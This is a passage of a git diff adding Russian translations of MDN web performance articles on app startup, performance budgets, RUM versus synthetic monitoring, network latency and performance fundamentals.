+ <li>Любая обработка данных, которая может быть сделана параллельно <strong>должна </strong>быть сделана параллельно.</li>
+ <li>Не подключайте скрипты и стили, которые не критичны для запуска приложения, в инициализирующий HTML. Загружайте их только тогда, когда это необходимо.</li>
+ <li>Сокращайте размеры ваших JavaScript-файлов. Попробуйте отправлять минифицированный код и используйте сжатие, например Gzip или Brotli.</li>
+ <li>Используйте дополнительные атрибуты (например preconnect или preload) всегда, когда есть возможность сказать браузеру, что является критическим для вашей системы.</li>
+</ul>
+
+<p>Чем больше вещей вы можете сделать асинхронно, тем большие преимущества многоядерных процессоров вы сможете задействовать.</p>
+
+<h3 id="Проблемы_портирования">Проблемы портирования</h3>
+
+<p>Когда первоначальная загрузка завершена и начинается обработка приложения в основном потоке, вполне возможно, что ваше приложение обязано быть однопоточным, особенно если это портированная версия. Очень важно попытаться помочь процессу запуска приложения, порефакторив код, сделав его композитным, состоящим из маленьких кусочков, каждый из которых может быть обработан последовательно основным потоком. В этом случае, в промежутке между выполнением этих кусочков кода браузер сможет выделить время на обработку ввода (например, клик) или на обработку микро-задач.</p>
+
+<p>В случае, если вы портируете ваше приложение, вы наверняка знаете о <a href="/en-US/docs/Mozilla/Projects/Emscripten">Emscripten. </a>Это решение предоставляет API, которое поможет с подобным рефакторингом. Например, вы можете использовать <code>emscripten_push_main_loop_blocker()</code>, чтобы определить фнукцию, как выполняемую после того, как основной поток разрешит продолжить работу. Создавая такие функции, создавая очередь, которая должна выполниться в определенном порядке, вы можете с легкостью разгрузить основной поток.</p>
+
+<p>Конечно, все это не отменяет необходимости рефакторинга кода так, чтобы он работал лучше и это займет время. Но для старта этого может оказаться достаточно.</p>
+
+<h3 id="Насколько_далеко_я_должен_зайти">Насколько далеко я должен зайти?</h3>
+
+<p>Стоит держать в голове, что браузер начинает беспокоиться о вашем скрипте в том случае, если он блокирует основной поток больше, чем на 10 секунд. В идеале, вы не должны блокировать работу страницы так долго. И пока вы держите показатели загрузки приложения ниже этих значение - все должно быть ок. Но не забывайте, что если кто-то имеет не такой мощный компьютер или мобильное устройство, как у вас, то код, выполняющийся у вас за 2 секунды, у этого пользователя может занять 10 секунд. Для этого полезно использовать CPU Throttling, который предоставляется средствами разработчиков в некоорых браузерах.</p>
+
+<h2 id="Другие_предложения">Другие предложения</h2>
+
+<p>Существуют другие вещи, которые могут влиять на скорость запуска приложения, и одна лишь асинхонность не спасёт от всего. Вот несколько из них:</p>
+
+<dl>
+ <dt>Время загрузки</dt>
+ <dd>Держите в голове, как много времени занимает загрузка данных вашего приложения. Если приложение действительно большое, популярное и должно обновлять данные часто, вы должны использовать как можно более быстрый хостинг (или даже несколько хостингов для разных регионов). Так же не забывайте сжимать данные.</dd>
+ <dt>Влияние GPU</dt>
+ <dd>Компиляция шейдеров или загрузка текстур в GPU может занять время, особенно для по-настоящему сложных WebGL приложений. Давайте пользователю знать о том, что загрузка или обработка данных продолжается фоном, чтобы он знал, когда лучше переходить в загруженные части приложения.</dd>
+ <dt>Размер данных</dt>
+ <dd>Делайте всё, чтобы избежать лишних данных. Чем меньше лишних данных запрашивается каждый раз, тем работает приложение. Используйте нормализацию данных и кеширование.</dd>
+ <dt>Субъективные факторы</dt>
+ <dd>Любая вещь, которую вы предлагаете пользователю во время запуска приложения и с которой он может взаимодействовать, заставляет время течь быстрее. Это забавно, но прогресс-бар, который показывается 3 секунды ощущается более быстрым, чем пустая страница в течение 1 секунды. Добавляйте подсказки к вашему приложению, рассказывайте интересные факты или просто показывайте что-то красивое - это уже улучшит восприятие.</dd>
+</dl>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Apps" title="/en-US/docs/Apps">Apps</a></li>
+ <li><a href="/en-US/docs/Games" title="/en-US/docs/Games">Games</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Информация об оригинальном документе:</h2>
+
+<ul>
+ <li>Автор: Alon Zakai</li>
+ <li>Исходник: <a href="http://mozakai.blogspot.com/2012/07/bananabread-or-any-compiled-codebase.html" title="http://mozakai.blogspot.com/2012/07/bananabread-or-any-compiled-codebase.html">BananaBread (or any compiled codebase) Startup Experience</a></li>
+</ul>
+</div>
diff --git a/files/ru/web/performance/performance_budgets/index.html b/files/ru/web/performance/performance_budgets/index.html
new file mode 100644
index 0000000000..ca3615982f
--- /dev/null
+++ b/files/ru/web/performance/performance_budgets/index.html
@@ -0,0 +1,74 @@
+---
+title: Бюджет производительности
+slug: Web/Performance/Performance_budgets
+translation_of: Web/Performance/Performance_budgets
+---
+<p><span class="seoSummary">Бюджет производительности - это лимит для предотвращения регрессий. Этот бюджет может быть применен к файлам, типам файлов, всем ресурсам приложения, определенным общим показателям (например, <a href="/en-US/docs/Glossary/Time_to_interactive">Время до интерактивности</a>) пользовательским показателям (например, Время до главного элемента) или к пороговым значениям к определенным точкам во времени. </span></p>
+
+<h2 id="Зачем_нужен_бюджет">Зачем нужен бюджет?</h2>
+
+<p>Бюджет существует для отражения желаемых вами целей. С бюджетом вы сможете осознанно выстраивать компромиссы между пользовательским опытом и объективным индикаторами эффективности приложения (например, конверсией)</p>
+
+<p>Эти цели можно разбить на категории:</p>
+
+<ul>
+ <li>Временные (например, <a href="/en-US/docs/Glossary/Time_to_interactive">Время до интерактивности,</a> <a href="/en-US/docs/Glossary/First_contentful_paint">Первая отрисовка контента</a>).</li>
+ <li>Количественный (например, размер загруженных JS файлов, количество изображений).</li>
+ <li>Определенные правилами (например. индекс <a href="https://developers.google.com/speed/pagespeed/insights/">Pagespeed</a>, баллы Lighthouse).</li>
+</ul>
+
+<p>Главная цель такого подхода - сокращение регрессии. Но этот подход может помочь предсказать поведение приложения в будущем. Например, в Сентябре 50% месячного бюджета было использовано за неделю - значит, нужно ждать увеличения потребления контента, нагрузки на сервера и т.д.</p>
+
+<p>Кроме того, подход может раскрыть некоторые нужды разработчиков (например, может оказаться, что в финальном коде вашего приложения половину объема занимает огромная библиотека, из которой вы используете только мизерную часть функционала).</p>
+
+<h2 id="Как_определить_бюджет">Как определить бюджет?</h2>
+
+<p>Бюджет должен включать 2 уровня:</p>
+
+<ul dir="ltr">
+ <li>Предупреждение</li>
+ <li>Ошибка</li>
+</ul>
+
+<p>Уровень предупреждения позволяет вам быть проактивным и заниматься техническим долгом, не блокируя разработку нового функционала</p>
+
+<p>Уровень ошибки - это граница, по достижении которой приложение воспринимается негативно.</p>
+
+<p>Для начала, вам нужно выяснить, какими технологиями пользуются ваши пользователи. Например, большая часть пользователей приходят с Anroid-телефонов бюджетного уровня и подсоединяются через 3G). Для подобного исследования существует множество <a href="/en-US/docs/Learn/Performance/Web_Performance_Basics">инструментов</a>. Эти метрики должны стать базой для бюджета размера файлов.</p>
+
+<p>Базовая цель - достигнуть показателя <a href="https://infrequently.org/2017/10/can-you-afford-it-real-world-web-performance-budgets/">"Время до интерактивности" до 5 секунд при 3G/4G, и до 2 секунд для последующих загрузок</a>. Однако, вы можете придумать свои цели, основанные на контенте приложения, географии пользователей и технологиях.</p>
+
+<p>Например, для приложения с большим количеством текста (блоги, новостные сайты), показатель <a href="/en-US/docs/Glossary/First_contentful_paint">Первая отрисовка контента (First Contentful Paint)</a> будет гораздо лучше показывать, с чем сталкивается пользователь. Иными словами, этот показатель покажет, как быстро пользователь начинает читать. И этот показатель должен быть включен в специфичные бюджеты, например, бюджет шрифтов, где вы можете применять разные техники для оптимизации. Например, <a href="/en-US/docs/Web/CSS/@font-face/font-display">font-display</a>, чтобы улучшить <a href="/en-US/docs/Learn/Performance/perceived_performance">Субъективно Ощущаемую производительность</a>).</p>
+
+<p>Но самая главная цель таких бюджетов - это возможность корелляции Производительности и Бизнес-целей. Когда вы определяете какие-то показатели, вы должны сфокусироваться на пользовательском опыте. Только он может диктовать, как мы должны изменять приложение таким образом, чтобы не просто улучшить конверсию, но и предсказать вероятность того, что пользователь вернётся.</p>
+
+<h2 id="Как_создать_бюджет">Как создать бюджет?</h2>
+
+<p>Во время разработки вы можете использовать несколько инстурментов, чтобы проверять некоторые показатели:</p>
+
+<ul>
+ <li>Сборщики (наприме, <a href="https://webpack.js.org/">webpack</a>), из коробки содержат<a href="https://webpack.js.org/configuration/performance/"> инструменты оценки производительности</a>, которые сообщат вам, если какой-то из файлов превысил допустимые размеры.</li>
+ <li><a href="https://github.com/siddharthkp/bundlesize">Bundlesize</a>, позволяет вам определить и проверять размеры файлов каждый раз при интеграции вашего кода с помощью <a href="/en-US/docs/Mozilla/Continuous_integration">CI</a>.</li>
+</ul>
+
+<p>Проверка размеров файлов - это лишь первый рубеж защиты от регрессий. Преобразование этих показателей во временные может быть сложным, потому что во время разработки окружение разработчика может не включать в себя сторонние библиотеки или оптимизации, которые обычно присутствют в Production сборках.</p>
+
+<p>Поэтому, рекомендуется определить базовые линии для каждой метрики бюджета с учетом разницы между окружением разработчика и боевым окружением.</p>
+
+<p>С этим может помочь, например, <a href="https://github.com/GoogleChromeLabs/lighthousebot">Lighthouse Bot</a>, который можно встроить в <a href="https://travis-ci.org/">Travis CI</a> и использовать для получения аналитики <a href="https://developers.google.com/web/tools/lighthouse/">Lighthouse</a> и <a href="https://webpagetest.org">Webpage Test</a>. Этот бот будет сообщать об ошибке или успешном прохождении тестов на основе определённых минимальных оценок.</p>
+
+<h2 id="Как_я_могу_усилить_влияние_бюджета">Как я могу усилить влияние бюджета?</h2>
+
+<p>Чем раньше вы сможете определить новую трату к бюджету, тем лучше вы сможете оценить текущее состояние приложения и указать на необходимые оптимизации.</p>
+
+<p>Кроме того, лучше иметь несколько бюджетов и быть проактивным. Бюджеты должны отражать ваши текущие цели, но не должны мешать экспериментам. Например, вы можете привнести функционал, который увеличит общее время загрузки приложения, но попытается увеличить пользовательскую вовлечённость (например, как долго пользователь остается на странице).</p>
+
+<p>Бюджет помогает вам сохранить оптимальное поведение ваших текущих пользователей, когда вы пытаетесь выйти на новые рынки или привнести что-то новое в ваше приложение.</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="https://addyosmani.com/blog/performance-budgets/">Start Performance Budgeting</a> by Addy Osmani</li>
+ <li><a href="https://web.dev/fast/performance-budgets-101">Performance Budgets 101</a> by Milica Mihajlija</li>
+ <li><a href="https://timkadlec.com/remembers/2019-03-07-performance-budgets-that-stick/">Performance Budgets That Stick</a> by Tim Kadlec</li>
+</ul>
diff --git a/files/ru/web/performance/rum-vs-synthetic/index.html b/files/ru/web/performance/rum-vs-synthetic/index.html
new file mode 100644
index 0000000000..a2d0a17bec
--- /dev/null
+++ b/files/ru/web/performance/rum-vs-synthetic/index.html
@@ -0,0 +1,39 @@
+---
+title: 'Мониторинг производительности: реальные пользователи и их эмуляция'
+slug: Web/Performance/Rum-vs-Synthetic
+tags:
+  - RUM
+  - Производительность
+  - Регрессия
+  - Синтетические тесты
+translation_of: Web/Performance/Rum-vs-Synthetic
+---
+<p><strong>Синтетический мониторинг</strong> и <strong>мониторинг реальных пользователей (Real User Monitoring, RUM) </strong>- два способа мониторинга и получения данных о веб-производительности. Эти два подхода дают два разных обзора производительности и каждый имеет свои преимущества, области применения и минусы. RUM, в основном, лучше подходит для понимания долгосрочных трендов, в то время как синтетический мониторинг хорошо подходит для тестирования регрессий, их быстрого обнаружения и быстрой реакции на них в процессе разработки. В этой статье мы определим и сравним оба подхода.</p>
+
+<h2 id="Синтетический_мониторинг"><strong>Синтетический мониторинг</strong></h2>
+
+<p>Синтетический мониторинг включает в себя мониторинг производительности в "лабораторных" условиях, обычно с помощью автоматизированных инструментов в цельном окружении. Такой подход включает в себя создание скриптов, симулирующих путь, который может пройти пользователь, пользуясь приложением. Таким образом тестируются не настоящие пользователи, но заранее определенный набор инструкций, который выполняется в предопределенном окружении.</p>
+
+<p>Пример такого мониторинга - <a href="https://WebPageTest.org">WebPageTest.org</a>. Ресурс предоставляет контролируемое окружение, где вы определяете географию, сеть, устройства, браузеры и кешированные данные. Сервис предоставляет Waterfall график для каждого ресурса, который используется в вашем приложении и грузится сторонними библиотеками (например, рекламными или аналитическими инструментами).</p>
+
+<p>Контролируя переменные окружения, вы можете понять, где в производительности узкие места и каковы их источники. Однако, все эти данные не отражают реальный пользовательский опыт, особенно если поведение пользователя не ограничивается только лишь просмотром страницы.</p>
+
+<p>Синтетический мониторинг может быть важным компонентом тестирования регрессий и средством мониторинга выпущенного и работающего приложения. Ухудшение базовых метрик производительности в ходе CI/CD-процесса должно вести к приостановке релиза, по крайней мере до тех пор, пока не выяснится, почему метрики ухудшились. Если проблема возникает только в Production-режиме, синтетические тесты предоставят информацию, которая поможет идентифицировать, изолировать и решить проблему, прежде чем она отразится на пользователях.</p>
+
+<h2 id="Мониторинг_реальных_пользователей_RUM">Мониторинг реальных пользователей (RUM)</h2>
+
+<p id="Real_User_Monitoring_(RUM)"><strong>Мониторинг реальных пользователей (Real User Monitoring, RUM) </strong>измеряет производительность приложения на устройствах конечных пользователей. В основе подхода - сторонний скрипт, который вставляет другие скрипты на каждую страницу. Эти дополнительные скрипты измеряют производительность и предоставляют отчеты о ней. Этот подход помогает не только узнать, насколько производительно приложение, но и дает информацию об использовании приложения, например, о географии, распределении пользователей или влиянии такого распределения на пользовательский опыт.</p>
+
+<p>В отличие от синтетического мониторинга, RUM собирает данные от настоящих пользователей, вне зависимости от их устройств, браузеров, сети или геолокации. Пока пользователь взаимодействует с приложением, тайминги такого взаимодействия записываются, вне зависимости от того, какое действие выполняется в конкретный момент. Такой мониторинг собирает данные о реальном использовании приложения, а не о том поведении, которое ожидают разработчики или, скажем, отдел маркетинга. Это особенно важно для больших веб-сайтов или сложных приложений, где функционал или содержимое постоянно меняются, а количество пользователей может очень сильно расти, создавая новые нагрузки и требования.</p>
+
+<p>Используя RUM, бизнес может лучше понять своих клиентов и определить зоны сайта, которые требуют большего внимания. Более того, RUM может помочь понять географию или канал распространения приложения. Знание своих пользователей и трендов поможет вам выстроить бизнес-планы и думать наперёд, позволяя вам определить приоритетные зоны, которые требует оптимизации и улучшения производительности.</p>
+
+<h2 id="Сравнение_подходов">Сравнение подходов</h2>
+
+<p>Синтетический мониторинг хорошо подходит для отлавливания регрессий в ходе разработки приложения. Особенно полезным может оказаться занижение скорости сети ({{glossary('network throttling')}}). Такой подход довольно прост, недорог и великолепно подходит для тестирования определённых точек приложения по мере того, как вы вносите изменения в код. Но он даёт лишь узкий обзор производительности и не говорит о том, что испытывает пользователь.</p>
+
+<p>Тестирование на реальных пользователях, в свою очередь, дает информацию о настоящих пользователях, которые используют приложение или веб-сайт. И хотя получение и обработка таких данных обходится дороже и не так проста, такой подход дает жизненно важные данные о пользовательском опыте.</p>
+
+<h2 id="API_для_измерения_производительности">API для измерения производительности</h2>
+
+<p>Существует множество сервисов мониторинга. Если вы хотите создать свой сервис, взгляните на следующие API: не только {{domxref("PerformanceNavigationTiming")}} и {{domxref("PerformanceResourceTiming")}}, но также {{domxref("PerformanceMark")}}, {{domxref("PerformanceMeasure")}}, и {{domxref("PerformancePaintTiming")}}.</p>
diff --git a/files/ru/web/performance/understanding_latency/index.html b/files/ru/web/performance/understanding_latency/index.html
new file mode 100644
index 0000000000..1e36dd3bf1
--- /dev/null
+++ b/files/ru/web/performance/understanding_latency/index.html
@@ -0,0 +1,122 @@
+---
+title: Время ожидания (latency)
+slug: Web/Performance/Understanding_latency
+tags:
+  - Connection
+  - Network
+  - Web Performance
+  - latency
+  - Время ожидания
+  - Производительность
+  - Соединение
+  - сеть
+translation_of: Web/Performance/Understanding_latency
+---
+<p><strong>Latency</strong> (дальше - <strong>время ожидания</strong>) - это время, которое требуется на доставку пакета данных от источника к пункту назначения. В деле оптимизации производительности важно сокращать проблемы, которые приводят к длительному времени ожидания. Также  необходимо научиться тестировать работу приложения в условиях плохого соединения. В этой статье мы рассмотрим само понятие времени ожидание, его причины, способы детекции и исправления.</p>
+
+<h2 id="Что_такое_время_ожидания">Что такое "время ожидания"?</h2>
+
+<p>Время ожидания - это промежуток времени, который проходит с момента старта запроса до момента получения ответа. При запросе первых 14КБ время ожидания дольше, потому что весь запрос включает в себя {{glossary('DNS')}} запрос, соединение  {{glossary('TCP handshake')}}, установление безопасного соединения {{glossary('TLS')}}. Последующие запросы будут иметь меньшее время ожидания, так как соединение с сервером уже установлено.</p>
+
+<p>Время ожидания описывает величину задержки сети или, в частности, интернет-соединения. Малое время ожидания подразумевает едва заметные задержки. Большое время ожидания подразумевает большие задержки. Одно из основных усилий в оптимизации приложения должно быть направлено на снижение этого времени ожидания.</p>
+
+<p>Улучшить время ожидания, связанное только с одним ресурсом, например, с HTML кодом страницы - это довольно просто. Но приложения, как правило, состоят из множества запросов: CSS, JavaScript-файлы, медиа. Чем больше запросов исходит со страницы, тем большее влияние оказывает время ожидания на общие впечатления пользователя.</p>
+
+<p>При соединении с малым временем ожидания ресурсы появляются практически мгновенно. При соединении с большим временем ожидания задержка между запросом и ответом становится заметной. Мы можем определить время ожидания, измеряя скорость, с которой данные проходят из одной сети к другой.</p>
+
+<p>Время ожидания может быть измерено для одного направления (например, сколько времени проходит до отправки запроса) или для полного пути обмена сообщениями (сколько времени заняли запрос и получение ответов).</p>
+
+<h2 id="Эмуляция_времени_ожидания">Эмуляция времени ожидания</h2>
+
+<p>Для эмуляции большой времени задержки вы можете использовать средства разработчика. В англоязычных интерфейсах эмуляция называется "Throttling".</p>
+
+<p><img alt="Emulate latency by emulating throttling" src="https://mdn.mozillademos.org/files/16805/emulate_latency.png" style="height: 268px; width: 829px;"></p>
+
+<p>В Firefox кнопка переключения находится на панели Network (Сеть), в заголовке таблицы. С помощью инструмента вы можете испытать работу приложения в сетях от GPRS до высокоскоростных. Также вы можете сами указать скорость загрузки и время ожидания. Браузеры предоставляют разные наборы значений, но, как правило, все они покрывают перечисленные ниже случаи:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th>Selection</th>
+   <th>Download speed</th>
+   <th>Upload speed</th>
+   <th>Minimum latency (ms)</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>GPRS</td>
+   <td>50 Kbps</td>
+   <td>20 Kbps</td>
+   <td>500</td>
+  </tr>
+  <tr>
+   <td>Regular 2G</td>
+   <td>250 Kbps</td>
+   <td>50 Kbps</td>
+   <td>300</td>
+  </tr>
+  <tr>
+   <td>Good 2G</td>
+   <td>450 Kbps</td>
+   <td>150 Kbps</td>
+   <td>150</td>
+  </tr>
+  <tr>
+   <td>Regular 3G</td>
+   <td>750 Kbps</td>
+   <td>250 Kbps</td>
+   <td>100</td>
+  </tr>
+  <tr>
+   <td>Good 3G</td>
+   <td>1.5 Mbps</td>
+   <td>750 Kbps</td>
+   <td>40</td>
+  </tr>
+  <tr>
+   <td>Regular 4G/LTE</td>
+   <td>4 Mbps</td>
+   <td>3 Mbps</td>
+   <td>20</td>
+  </tr>
+  <tr>
+   <td>DSL</td>
+   <td>2 Mbps</td>
+   <td>1 Mbps</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>Wi-Fi</td>
+   <td>30 Mbps</td>
+   <td>15 Mbps</td>
+   <td>2</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Временные_показатели_сети">Временные показатели сети</h2>
+
+<p>Кроме того, во вкладке Network (Сеть), вы можете изучить, как много времени занял тот или иной запрос. На изображении ниже - пример загрузка SVG файла размером 267.5КБ.</p>
+
+<div><img alt="The time it took for a large SVG asset to load." src="https://mdn.mozillademos.org/files/16807/latencymlw.png" style="height: 342px; width: 1311px;"></div>
+
+<p>Когда запрос находится в очереди, ожидая установки соединения с сервером, он считается заблокированным. Блокировка случается, когда браузер уже обрабатывает слишком много соединений одновременно (в большей степени это относится к предыдущему поколению HTTP1.1, который позволял поддерживать до 6 соединений за раз). Пока все соединения обрабатываются, браузер не может загружать другие ресурсы. Как только загрузка ресурса завершается - соединение освобождается.</p>
+
+<p><strong>DNS поиск (DNS resolution) </strong>- это время, которое требуется на {{glossary('DNS lookup')}}. Это процесс, когда браузер находит соответствие между именем домена и его IP-адресом. Если вы обращаетесь ко многим доменам, DNS поиск занимает больше времени.</p>
+
+<p><strong>Установка соединения (Connecting) </strong>- это время, требуемое на {{glossary('TCP handshake')}}. Это процесс SYN - ACK, когда браузер и сервер договариваются о формате соединения. Как и DNS, чем больше соединений к разным серверам вы используете, тем больше время создания соединений.</p>
+
+<p> <strong>{{glossary('TLS')}} handshake</strong> - это процесс установки безопасного соединения. И хотя установка безопасного соединения занимает дополнительное время, ни в коем случае не стоит отказываться от него, жертвуя безопасностью пользователей.</p>
+
+<p><strong>Отправка</strong> <strong>(Sending)</strong> - время, необходимое для отправки HTTP запроса на сервер.</p>
+
+<p><strong>Ожидание (Waiting</strong>) - это ожидание обработки запроса сервером. Например, вы хотите получить изображение. В этом случае сервер должен обратиться к файловой системе, найти файл, передать его HTTP соединению. В случае сложных динамических запросов процесс может занимать секунды и минуты. Это ещё одно место для оптимизации, но уже не клиентское, а серверное.</p>
+
+<p><strong>Получение (Receiving</strong>) - это время на загрузку ответа. Этот показатель - комбинация скорости сети и размера файла. Если изображение было закешировано, то его загрузка может произойти мгновенно. Но если не использовать кэш и включить эмуляцию медленной сети, изображение может загружаться 43 секунды!</p>
+
+<h2 id="Измерение_времени_ожидания">Измерение времени ожидания</h2>
+
+<p><strong>Время ожидания сети (Network latency</strong>) - это время, которое требуется на отправку запроса и полную загрузку ответа.</p>
+
+<p><strong>Время ожидания диска (Disk latency</strong>) - это время, которое требуется устройству на то, чтобы получить запрос, понять его, найти файл в файловой системе и вернуть ответ.</p>
diff --git a/files/ru/web/performance/основы/index.html b/files/ru/web/performance/основы/index.html
new file mode 100644
index 0000000000..fd97d25650
--- /dev/null
+++ b/files/ru/web/performance/основы/index.html
@@ -0,0 +1,224 @@
+---
+title: Основы производительности
+slug: Web/Performance/Основы
+tags:
+  - Apps
+  - Firefox
+  - Gecko
+  - Guide
+  - Performance
+  - Производительность
+translation_of: Web/Performance/Fundamentals
+---
+<div class="summary">
+<p><span class="seoSummary">Английское слово Performance, которое используется в статьях о производительности приложений, также можно перевести, как "эффективность". Этот документ объясняет основы производительности, того как браузеры помогают улучшить её и какие инструменты и процессы вы можете использовать, чтобы её улучшить. </span></p>
+</div>
+
+<h2 id="Что_такое_производительность">Что такое производительность?</h2>
+
+<p>Ощущаемая пользователем "производительность" - это единственная производительность, которая имеет значение. Пользователи взаимодействуют с системой с помощью ввода каких-то данных: прикосновений, движения и речи. В ответ, они получают реакцию, основанную на зрительном, тактильном или слуховом аппаратах. Производительность - это качество того, как система реагирует на действия пользователя.</p>
+
+<p>При прочих равных, код, оптимизированный для каких-то иных целей, кроме ощущаемой пользователем производительности (здесь и дальше UPP, user-perceived performance) всегда проигрывает коду, который оптимизирован для UPP. Упрощенно говоря, пользователи предпочитают отзывчивое и плавное приложение, которое обрабатывает 1,000 транзакций к базе данных в секунду грубому неотзывчивому приложению, которое обрабатывает 100,000,000 запросов в секунду. Конечно, это не означает, что другие метрики становятся ненужным, но первой вашей целью должна быть UPP.</p>
+
+<p>Следующие разделы укажут и объяснят некоторые метрики производительности:</p>
+
+<h3 id="Отзывчивость">Отзывчивость</h3>
+
+<p>Отзывчивость - это то, как быстро система предлагает ответ (или множество ответов) на запрос пользователя. Например, когда пользователь нажимает на экран, он ожидает, что пиксели под пальцем изменятся каким-то образом. Для этого случая взаимодействия хорошей метрикой будет время, которое прошло между моментом нажатия и изменением пикселей.</p>
+
+<p>Отзывчивость иногда включает в себя несколько этапов. Запуск приложения - один из важнейших этапов. Мы обсудим его ниже.</p>
+
+<p>Отзывчивость важна просто потому, что пользователи теряются и злятся, когда их игнорируют. Ваше приложение игнорирует пользователя каждую секунду, когда оно не отвечает на пользовательский ввод.</p>
+
+<h3 id="Частота_кадров">Частота кадров</h3>
+
+<p>Частота кадров - это частота, с которой система перерисовывает пиксели, отображаемые пользователю. Это знакомая концепция: каждый предпочитает, скажем, игры, которые работают в режиме 60 кадров в секунду играм, которые работают с частотой 10 кадров в секунду. Даже если они не смогут объяснить причины этого.</p>
+
+<p>Частота кадров важна примерно так же, как "качество обслуживания". Дисплеи устройств спроектированы так, чтобы обманывать глаза пользователей, доставляя фотоны света так, чтобы изображение было похожим на реальное. Например, бумага, покрытая напечатанными буквами, отражает фотоны определённым образом. Манипулируя рендерингом, приложения-читалки пытаются отправить фотоны похожим образом, обманывая глаза.</p>
+
+<p>Ваш мозг знает, что движение - это не отрывчатый или дискретный процесс, а плавный и последовательный. Дисплей устройств с высокой частотой кадров сделаны просто для того, чтобы сделать эту иллюзию более реальной. (Интересно, что стробоскопы переворачивают эту концепцию, заставляя наш мозг создавать иллюзию дискретной реальности).</p>
+
+<div class="note">
+<p><strong>Заметка</strong>: люди обычно не могут почувствовать разницу между частотами кадров выше 60Hz. По этой причин большая часть современных электронных дисплеев спроектированы для обновления картинки с такой частотой.  Однако, для некоторых живых существ такая частота кадров будет казаться замедленной. Например, для колибри.</p>
+</div>
+
+<h3 id="Использование_памяти">Использование памяти</h3>
+
+<p>Использование памяти - это отдельная ключевая метрика. В отличии от отзывчивости и частоты кадров, пользователи не могут напрямую почувствовать использование памяти, но её использование влияет на "состояние пользователя". Идеальная система будет поддерживать 100% состояния всех приложений всё время: все приложения будут запускаться одновременно, а каждое приложение будет возвращаться к состоянию, которое было в последний раз, когда пользователь с ним взаимодействовал (состояние приложения хранится в компьютерной памяти - поэтому это сравнение его с user state довольно точное).</p>
+
+<p>Отсюда следует одно неочевидное заключение: <u>хорошо спроектированная система не заботится об увеличении свободной памяти.</u> <strong>Память - это ресурс,</strong> а свободная память - неиспользуемый ресурс. Наоборот, хорошо спроектированная система использует достаточно много памяти, чтобы обеспечить такое состояние, когда пользователь не чувствует изменений в производительности.</p>
+
+<p>Это не означает, что система должна тратить память. Когда система использует больше памяти, чем это необходимо для поддержания состояния приложения - она тратит память. В этом случае, другое приложение (или даже другое состояние), которые могли бы использовать эту память - не могут её использовать. На практике, ни одна система не может поддерживать в памяти все состояния одновременно. Разумное распределение памяти, достаточное для поддержки состояния приложения - это важная проблема, которую мы рассмотрим позже.</p>
+
+<h3 id="Использование_энергии">Использование энергии</h3>
+
+<p>Последний показатель, который нужно упомянуть - это потребление энергии. Подобно использованию памяти, пользователь чувствует потребление памяти опосредованно, отмечая время, через которое устройство начинает изменять воспринимаемую пользователем производительность (UPP). Для минимизации отрицательных эффектов использования энергии, мы должны делать систему экономной.</p>
+
+<p>Для примера, вспомните, как работают мобильные устройства: вы можете включить режим энергосбережения, когда отключаются другие системы. Но есть и более жесткий режим, который включается автоматически, когда заряд уменьшается до 5% - система включает троттлинг процессора, замедляя выполнение всех инструкций.</p>
+
+<p>Всю оставшуюся часть статьи мы будем обсуждать производительность в свете этих показателей.</p>
+
+<h2 id="Оптимизация_платформы">Оптимизация платформы</h2>
+
+<p>В этой секции приводится краткий обзор того, как Firefox/Gecko вкладывается в производительность в целом, не заостряя внимание на конкретных приложениях. Для разработчиков и пользователей это будет вопрос на ответ "Как платформа помогает мне?".</p>
+
+<h3 id="Web_технологии">Web технологии</h3>
+
+<p>Web платформа предоставляет много инструментов, некоторые из которых лучше подходят для конкретных задач, а некоторые - хуже. Логика приложений пишется на JavaScript. Для отображения графики разработчики могут использовать HTML или CSS (т.е. используются высокоуровневные декларативные языки); разработчики также могут использовать низкоуровневые интерфейсы, доступные в {{ htmlelement("canvas") }} (включая <a href="/en-US/docs/Web/WebGL">WebGL</a>). Где-то между HTML/CSS и Canvas лежит <a href="/en-US/docs/Web/SVG">SVG</a>, который предлагает некоторые преимущества обеих систем.</p>
+
+<p>HTML и CSS значительно увеличивают производительность, иногда снижая частоту кадров и не давая контролировать каждый пиксель при рендере. Текст и изображения перерисовываются автоматически, UI-элементы автоматически получают системную тему, а система предоставляет некоторую "встроенную" поддержку для некоторых случаев, о которых разработчик может и не задумываться изначально. Например, отображение контента при разных разрешениях.</p>
+
+<p>Элемент Холст (<code>canvas</code>) предоставляет прямой доступ к пиксельному буферу, где разработчик может рисовать.Это даёт разработчику возможность контролировать каждый пиксель во время рендеринга, точно контролировать частоту кадров; но тогда разработчик должен иметь в виду работу с большим количеством разрешений экранов и ориентаций; RTL языками и т.д. Разработчики, работающие напрямую с холстами, используют либо знакомое 2D API, либо API WebGL, достаточно "близкий к железу" и по большей части придерживающийся OpenGL ES 2.0.</p>
+
+<div class="note">
+<p><strong>Заметка: </strong>Firefox OS оптимизирована для работы с приложениями, основанными на Web технологиях: <a href="/en-US/docs/Web/HTML">HTML</a>, <a href="/en-US/docs/Web/CSS">CSS</a>, <a href="/en-US/docs/Web/JavaScript">JavaScript</a> и т.д. За исключением некоторых базовых служб операционной системы, весь код Firefox OS пришел из Web приложений и движка Gecko. Даже оконный менеджер операционной системы написан на HTML, CSS и JavaScript. В связи с тем, что ядро операционной системы написано  на этих технологиях, было критически важно соблюсти производительность этих технологий. В Firefox OS не может быть какого-то "запасного выхода". И это очень полезно для разработчиков, потому что теперь сторонние приложения могут использовать все преимущества оптимизации операционной системы. Не существует какого-то "магического зелья производительности", доступного только для предустановленных приложений.</p>
+
+<p>См. <a href="/en-US/docs/Archive/B2G_OS/Firefox_OS_apps/Performance/Firefox_OS_performance_testing">Тестирование производительности Firefox OS</a> для подробностей.</p>
+</div>
+
+<h3 id="Как_рендерит_Gecko">Как рендерит Gecko</h3>
+
+<p>Движок Gecko JavaScript поддерживает just-in-time (JIT) компиляцию. Благодаря этому, логика приложения выполняется примерно так же, как это происходит в других приложениях на виртуальных машинах - например, Java Virtual Machines - а в некоторых случаях эффективность этих приложений близка к "нативному коду".</p>
+
